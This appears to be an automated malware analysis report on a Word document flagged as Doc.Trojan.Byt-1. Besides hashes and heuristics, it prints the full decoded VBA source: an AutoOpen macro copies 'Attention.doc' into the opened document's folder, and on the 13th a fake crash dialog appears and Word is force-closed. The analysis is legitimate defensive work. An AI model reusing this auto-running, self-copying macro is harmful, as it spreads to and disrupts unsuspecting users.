Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2da861b74cd2391…

MALICIOUS

Office (OLE)

39.5 KB First seen: 2012-06-14
MD5: ecf3f150f135eebf1b3de7adb81c0e93 SHA-1: 861656035b77ac2e44bad1dd17d2e7ea794e0a1b SHA-256: f2da861b74cd23914daeebc7875c27e112e7c39154ea9fcbd494ec95dae41484
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is designed to execute automatically when the document is opened. This macro attempts to copy a file named '\Attention.doc' to the active document's directory. The presence of legacy WordBasic auto-exec markers and the ClamAV detection further indicate malicious intent, likely for delivering a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Byt-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Byt-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1568 bytes
SHA-256: 1893b6462d5aecc938624e8bbee17b85f11bae96dff5b2aa2e3a80e6e35a4800
Detection
ClamAV: Doc.Trojan.Byt-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Autoexec"
Option Explicit
Private Declare Function _
FindWindow _
Lib "user32" _
Alias "FindWindowA" _
(ByVal lpClassName As String, _
ByVal lpWindowName As String) _
As Long
Private Declare Function _
SendMessage _
Lib "user32" _
Alias "SendMessageA" _
(ByVal hwnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
lParam As Any) _
As Long
Public Const FILENAME As String = "\Attention.doc"
Sub Main()
If Day(Now) = 13 Then
MsgBox "Программа выполнила недопустимую операцию " & _
"и должна быть закрыта", vbCritical + vbOKOnly, "Microsoft Word"
CloseWinWord
End If
End Sub
Private Sub CloseWinWord()
Dim lngWinWord As Long
lngWinWord = FindWindow(vbNullString, "Microsoft Word")
SendMessage lngWinWord, 16, 0, 0
End Sub
Public Sub LegalCopy(Source As String, Destination As String)
On Error Resume Next
Kill Destination
Dim bytDocument() As Byte
ReDim bytDocument(1 To FileLen(Source))
Open Source For Binary As #1
Get #1, , bytDocument()
Close #1
Open Destination For Binary As #1
Put #1, , bytDocument()
Close #1
End Sub

Attribute VB_Name = "Autoopen"
Option Explicit
Sub Main()
LegalCopy NormalTemplate.Path & FILENAME, _
ActiveDocument.Path & FILENAME
End Sub

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